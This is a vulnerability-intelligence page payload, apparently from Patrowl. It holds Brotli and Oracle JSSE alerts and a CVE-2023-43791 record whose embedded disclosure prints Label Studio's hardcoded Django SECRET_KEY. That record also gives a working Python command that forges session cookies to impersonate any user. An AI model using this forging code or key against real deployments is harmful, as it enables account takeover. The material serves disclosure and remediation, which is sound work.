[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2023-43791":30,"landing-articles":87},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":53,"references":56,"score":64,"epss_score":65,"epss_percentile":66,"is_kev":67,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":68,"attack_mappings":78,"exploits":85},333068,"CVE-2023-43791","EUVD-2023-0107","Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens\n\n# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio), a popular open source data labeling tool. The vulnerability was found to affect versions before `1.8.2`, where a patch was introduced.\n\n# Overview\n\nIn [Label Studio version 1.8.1](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Ftree\u002F1.8.1), a hard coded Django `SECRET_KEY` was set in the application settings. The Django `SECRET_KEY` is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.\n\nHowever, the Django framework inserts a `_auth_user_hash` claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in [`1.9.2post0`](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Freleases\u002Ftag\u002F1.9.2.post0)) and forge session tokens for all users on Label Studio using the hard coded `SECRET_KEY`.\n\n# Description\n\nBelow is the code snippet of the Django settings file at [`label_studio\u002Fcore\u002Fsettings\u002Fbase.py`](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fblob\u002F1.8.1\u002Flabel_studio\u002Fcore\u002Fsettings\u002Fbase.py#L108).\n\n```python\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n'\n```\n\nThis secret is hard coded across all instances of Label Studio.\n\n# Proof of Concept\n\nBelow are the steps that an attacker could do to forge a session token of any account on Label Studio:\n\n1. Exploit the ORM Leak vulnerability (patched in [`1.9.2post0`](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Freleases\u002Ftag\u002F1.9.2.post0)) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email `ghostccamm@testvm.local` with the password hash `pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo\u002FPvVXvw=` that was retrieved.\n\n2. Create a new Django project with an empty application. In `cookieforge\u002Fcookieforge\u002Fsettings.py` set the `SECRET_KEY` to `$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n`. Create a management command with the following code that will be used to create forged session tokens.\n\n```python\nfrom typing import Any\nfrom django.core.management.base import  BaseCommand, CommandParser\nfrom django.core import signing\nfrom django.utils.crypto import salted_hmac\nfrom django.conf import settings\nimport time, uuid\n\nclass Command(BaseCommand):\n    help = \"Forge a users session cookie on Label Studio\"\n\n    def add_arguments(self, parser: CommandParser) -> None:\n        parser.add_argument(\n            '-o', '--organisation',\n            help='Organisation ID to access',\n            default=1,\n            type=int\n        )\n\n        parser.add_argument(\n            'user_id',\n            help='The User ID of the victim you want to impersonate',\n            type=str\n        )\n\n        parser.add_argument(\n            'user_hash',\n            help='The password hash the user you want to impersonate'\n        )\n\n    def handle(self, *args: Any, **options: Any) -> str | None:\n        key = settings.SECRET_KEY\n        # Creates the _auth_user_hash HMAC of the victim's password hash\n        auth_user_hash = salted_hmac(\n            'django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash',\n            options['user_hash'],\n            secret=key,\n            algorithm=\"sha256\"\n        ).hexdigest()\n\n        session_dict = {\n            'uid': str(uuid.uuid4()), \n            'organization_pk': options['organisation'], \n            'next_page': '\u002Fprojects\u002F', \n            'last_login': time.time(), \n            '_auth_user_id': options['user_id'], \n            '_auth_user_backend': \n            'django.contrib.auth.backends.ModelBackend', \n            '_auth_user_hash': auth_user_hash, \n            'keep_me_logged_in': True, \n            '_session_expiry': 600\n        }\n\n        # Creates a forged session token\n        session_token = signing.dumps(\n            session_dict,\n            key=key,\n            salt=\"django.contrib.sessions.backends.signed_cookies\",\n            compress=True\n        )\n\n        self.stdout.write(\n            self.style.SUCCESS(f\"session token: {session_token}\")\n        )\n```\n\n3. Next run the following command replacing the `{user_id}` with the user ID of the account you want to the impersonate and `{user_hash}` with the victim's password hash. Copy the session token that is printed.\n\n```python\npython3 manage.py forgecookie {user_id} '{user_hash}'\n```\n\n4. Change the `sessionid` cookie on the browser and refresh the page. Observe being authenticated as the victim user.\n\n# Impact\n\nThis vulnerability can be chained with the ORM Leak vulnerability (which was patched in [`1.9.2post0`](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Freleases\u002Ftag\u002F1.9.2.post0)) in Label Studio to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user.\n\n# Remediation Advice\n\nIt is important to note that the hard coded `SECRET_KEY` has already been removed in Label Studio versions `>=1.8.2`. However, there has not been any public disclosure about the use of the hard coded secret key and users have not been informed about the security vulnerability.\n\nWe recommend that Human Signal to release a public disclosure about the hard coded `SECRET_KEY` to encourage users to patch to a version `>=1.8.2` to mitigate the likelihood of an attacker exploiting these vulnerabilities to impersonate all accounts on the platform.\n\n# Discovered\n- August 2023, Robert Schuh, @robbilie\n- August 2023, Alex Brown, elttam","2023-11-09T14:42:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":44,"privilegesRequired":45,"confidentialityImpact":44},"UNCHANGED","3.1",9.8,"NETWORK","CRITICAL","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","HIGH","NONE","LOW",true,[49],"CWE-200",[51,52],"cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:*","cpe:2.3:a:label-studio:label-studio:*:*:*:*:*:*:*:*",[54,55],"Humansignal Label Studio","Label-Studio Label-Studio",[57,58,59,60,61,62,63],"https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fcommit\u002F3d06c5131c15600621e08b06f07d976887cde81b","https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fpull\u002F4690","https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Freleases\u002Ftag\u002F1.8.2","https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fsecurity\u002Fadvisories\u002FGHSA-f475-x83m-rx5m","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2023-43791","https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio","https:\u002F\u002Fgithub.com\u002Fpypa\u002Fadvisory-database\u002Ftree\u002Fmain\u002Fvulns\u002Flabel-studio\u002FPYSEC-2023-274.yaml",0.84,0.01241,0.68969,false,{"timestamp":69,"automatable":70,"tech_impact":71,"exploitation":72,"cisa_decision":73,"cisa_remediation_timeline":77},"2024-09-03T18:43:34.308098Z","yes","total","poc",{"vector":74,"decision":75,"priority":76},"CISAv1\u002FE:P\u002FA:Y\u002FT:T\u002FM:H\u002F2026-10-26T02:11:06.763381\u002F","attend","medium","3D",[79],{"name":80,"source":81,"tactics":82,"technique_id":84},"Exploit Public-Facing Application","attack_vector",[83],"initial-access","T1190",[86],{"link":60},{"count":88,"next":89,"previous":6,"results":90},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[91,99,107],{"id":92,"title":93,"summary":94,"published_at":95,"type":96,"link":97,"image_url":98},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":100,"title":101,"summary":102,"published_at":103,"type":104,"link":105,"image_url":106},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":108,"title":109,"summary":110,"published_at":111,"type":112,"link":113,"image_url":114},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]